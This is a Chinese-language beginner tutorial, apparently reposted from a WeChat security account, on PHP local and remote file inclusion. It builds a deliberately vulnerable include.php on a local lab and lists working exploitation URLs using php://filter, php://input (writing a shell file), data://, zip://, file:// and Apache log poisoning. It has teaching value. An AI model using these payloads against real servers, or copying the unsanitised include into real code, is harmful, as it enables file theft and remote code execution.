漏洞背景
随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做防范就造成了文件包含漏洞。
漏洞简介
漏洞原理
常用函数
- include()
当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时之给出一个警告,继续向下执行。 - include_once()
功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次 - require()
require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。 - require_once()
功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。
文件包含分类
文件包含分为本地文件包含和远程文件包含两种。
本地文件包含:当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。大多数文件包含都是本地文件包含。
远程文件包含:当被包含的文件是第三方服务器中的文件时,就形成了远程文件包含漏洞。
利用条件相对苛刻,需要php.ini配置文件中的allow_url_fopen参数和allow_url_include参数同时为ON,allow_url_fopen默认为ON,allow_url_include在php5.2之后默认为OFF。
环境安装
https://pan.baidu.com/s/1g2LeaVl6eZW8BYl1ypdBqQ?pwd=5ucb
安装
运行
安装完成后会自动运行并弹出Apache与MySQL服务的弹出,直接打钩点允许访问就好了。
if(isset($_GET['file'])){
include $_GET['file'];
}else{
echo "请输入文件名";
}
?>
http://127.0.0.1/include.php
http://127.0.0.1/include.php?file=./phpinfo.php
漏洞利用
伪协议1:php://filter #读文件
php://filter/read=convert.base64-encode/resource=文件路径
条件:只需要开启allow_url_fopen,对allow_url_include不做要求,你可以为off,也可以为on
特性:该协议读取文件内容采用Base64加密,要显示原来内容需要对读取内容进行Base64解密
利用
在WWW目录下创建test.txt,随意输入内容如“cm666”。
通过php://filter协议读取该文件内容。
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=./test.txt
将已读取到的Base64密文“Y202NjY=”拿去解密即可得到明文“cm666”。
条件:allow_url_include=on,对allow_url_fopen不做要求
特性:理论来说可以执行任何的php代码.需要GET提交,在BP转换成 [POST提交]
利用
访问以下url时抓包。
http://127.0.0.1/include.php?file=php://input
将get请求修改为post请求,并在请求体中添加以下代码。
file_put_contents('shell1.php','<?php phpinfo();?>');
?>
查看www目录,成功写入shell1.php文件,实战可将内容改为webshell。
data:text/plain;base64,编码后的php代码
条件:allow_url_fopen参数与allow_url_include都需开启
特性:直接执行php代码
利用
浏览器直接访问以下路径,执行phpinfo()代码。
http://127.0.0.1/include.php?file=data:text/plain, phpinfo();
将“<?php phpinfo();”加密成base64后添加在参数中。
http://127.0.0.1/include.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
伪协议4:zip://
zip://C:phpStudyWWW1.zip%231.txt php代码内容写进1.txt文件,再压缩为1.zip
条件:使用zip协议,需要将#编码为%23,所以需要PHP 的版本> =5.3.0,要是因为版本的问题无法将#编码成%23,可以手动把#改成%23
利用
php代码内容写进1.txt文件,再压缩为1.zip。
http://127.0.0.1/include.php?file=zip://C:phpStudyWWW1.zip%231.txt
伪协议5:file:// #读文件
条件:知道文件绝对路径
利用
知道文件绝对路径,直接读取文件内容。
http://127.0.0.1/include.php?file=file://C:phpStudyWWWtest.txt
把php代码写进log日志里。
http://127.0.0.1/include.php?file= phpinfo();
通过包含log日志执行phpinfo()代码。
http://127.0.0.1/include.php?file=C:/phpStudy/Apache/logs/error.log
至此结束,关于文件包含还有许多协议可以使用,就不一一讨论,本文针对初学者兴许有那么一点点帮助,多尝试多练,成为一个黑壳很简单。
原文始发于微信公众号(一己之见安全团队):【保姆级教学】PHP文件包含漏洞详解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论